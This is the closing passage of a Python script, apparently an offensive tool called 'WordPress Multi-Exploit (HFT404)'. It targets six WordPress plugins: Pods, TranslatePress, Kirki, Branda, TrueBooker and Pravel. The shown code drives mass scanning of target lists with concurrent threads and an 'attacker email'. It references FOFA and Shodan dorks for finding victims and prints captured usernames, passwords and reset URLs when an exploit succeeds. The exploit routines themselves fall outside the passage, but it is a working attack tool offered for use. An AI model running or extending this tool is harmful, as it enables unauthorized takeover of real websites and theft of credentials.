                await asyncio.sleep(0.3)
        
        if any(plugins.values()):
            return False, {}, "All exploits failed"
        else:
            return False, {}, "No vulnerable plugin detected"
            
    except Exception as e:
        debug_log(f"Process error: {e}")
        return False, {}, f"Error: {str(e)[:100]}"


async def scan_multiple_targets(targets, user_ids, username, attacker_email, args):
    """Scan multiple targets"""
    semaphore = asyncio.Semaphore(args.threads)
    
    async def scan_one(target):
        async with semaphore:
            success, creds, msg = await process_target(target, user_ids, username, attacker_email, args)
            
            if success:
                exploit = creds.get('exploit', 'unknown')
                print(f"{GREEN}[VULN-VERIFIED] {target} | {exploit}{RESET}")
                
                if args.output:
                    with open(args.output, "a", encoding='utf-8') as f:
                        f.write(f"VULN-VERIFIED | {target} | {exploit}\n")
            else:
                if not args.quiet:
                    print(f"{RED}[FAIL] {target} | {msg[:50]}{RESET}")
            
            return success
    
    await asyncio.gather(*[scan_one(t) for t in targets])


async def main():
    parser = argparse.ArgumentParser(description="WordPress Multi-Exploit Tool (HFT404)")
    parser.add_argument("url", nargs="?", help="Target URL")
    parser.add_argument("-t", "--target", help="single target")
    parser.add_argument("-f", "--file", help="targets file")
    parser.add_argument("--id", type=int, default=0, help="User ID for Pods")
    parser.add_argument("--ids", type=str, default="", help="Comma-separated User IDs")
    parser.add_argument("-u", "--username", default="admin", help="target username")
    parser.add_argument("-e", "--email", default="", help="attacker email")
    parser.add_argument("-o", "--output", help="output file")
    parser.add_argument("--threads", type=int, default=3, help="threads")
    parser.add_argument("--timeout", type=int, default=30, help="timeout")
    parser.add_argument("--quiet", action="store_true", help="quiet mode")
    parser.add_argument("--skip-detection", action="store_true", help="skip WordPress detection")
    parser.add_argument("--debug", action="store_true", help="enable debug logging")
    parser.add_argument("-v", "--version", action="version", version="1.0.0")
    args = parser.parse_args()

    print(BANNER)
    print(f"{CYAN}[*] HFT404 - WordPress Multi-Exploit - 6 Exploits{RESET}")
    print(f"{CYAN}[*] Pods | TranslatePress | Kirki | Branda | TrueBooker | Pravel{RESET}")
    print(f"{CYAN}[*] Verification: STRICT (No False Positives){RESET}")
    print(f"{CYAN}[*] Debug: {'ON' if args.debug else 'OFF'}{RESET}")
    
    if args.id > 0:
        user_ids = [args.id]
    elif args.ids:
        user_ids = [int(x.strip()) for x in args.ids.split(',') if x.strip()]
    else:
        user_ids = DEFAULT_USER_IDS
    
    attacker_email = args.email if args.email else generate_email()
    
    print(f"{CYAN}[*] User IDs: {WHITE}{user_ids}{RESET}")
    print(f"{CYAN}[*] Username: {WHITE}{args.username}{RESET}")
    print(f"{CYAN}[*] Attacker Email: {WHITE}{attacker_email}{RESET}")
    print(f"{CYAN}[*] Results: {WHITE}{RESULTS_DIR}/{RESET}")
    print(f"{CYAN}[*] Debug: {WHITE}{DEBUG_FILE}{RESET}")
    print(f"{CYAN}[*] FOFA: {WHITE}{FOFA_DORK}{RESET}")
    print(f"{CYAN}[*] Shodan: {WHITE}{SHODAN_DORK}{RESET}\n")
    
    ensure_results_dir()
    debug_log(f"=== Session started ===")
    debug_log(f"Args: {args}")
    
    targets = []
    if args.url:
        targets = [args.url]
    elif args.target:
        targets = [args.target]
    elif args.file:
        if not os.path.isfile(args.file):
            print(f"{RED}[!] File not found: {args.file}{RESET}")
            sys.exit(1)
        targets = load_targets_from_file(args.file)
        if not targets:
            print(f"{RED}[!] No valid targets found{RESET}")
            sys.exit(1)
    
    if not targets:
        parser.error("either URL, -t, or -f is required")
    
    if len(targets) == 1:
        base = targets[0].rstrip('/')
        if not base.startswith(('http://', 'https://')):
            base = 'https://' + base
        
        print(f"{YELLOW}[*] Processing {base}...{RESET}\n")
        
        success, creds, msg = await process_target(
            base, user_ids, args.username, attacker_email, args
        )
        
        if success:
            print(f"\n{GREEN}{'='*60}{RESET}")
            print(f"{GREEN}  EXPLOITATION SUCCESSFUL (VERIFIED){RESET}")
            print(f"{GREEN}{'='*60}{RESET}")
            print(f"{WHITE}  Target: {base}{RESET}")
            print(f"{WHITE}  Exploit: {creds.get('exploit')}{RESET}")
            
            if 'username' in creds:
                print(f"{WHITE}  Username: {creds.get('username')}{RESET}")
            if 'password' in creds:
                print(f"{WHITE}  Password: {creds.get('password')}{RESET}")
            if 'reset_url' in creds:
                print(f"{WHITE}  Reset URL: {creds.get('reset_url')}{RESET}")
            if 'attacker_email' in creds:
                print(f"{WHITE}  Email: {creds.get('attacker_email')}{RESET}")
            
            print(f"{GREEN}{'='*60}{RESET}")
            print(f"{CYAN}  Results saved in {RESULTS_DIR}/{RESET}")
            print(f"{GREEN}{'='*60}{RESET}\n")
        else:
            print(f"\n{RED}[-] {msg}{RESET}")
            print(f"{YELLOW}[*] Check debug: {DEBUG_FILE}{RESET}\n")
    
    else:
        print(f"{YELLOW}[*] Starting scan of {len(targets)} targets...{RESET}")
        print(f"{YELLOW}[*] Threads: {args.threads}{RESET}")
        print(f"{YELLOW}[*] Strict Verification: ENABLED{RESET}\n")
        
        await scan_multiple_targets(targets, user_ids, args.username, attacker_email, args)
        
        print(f"\n{GREEN}{'='*60}{RESET}")
        print(f"{GREEN}  Scan Complete{RESET}")
        print(f"{GREEN}{'='*60}{RESET}")
        print(f"{CYAN}  Results saved in {RESULTS_DIR}/{RESET}")
        print(f"{GREEN}{'='*60}{RESET}\n")


if __name__ == "__main__":
    asyncio.run(main())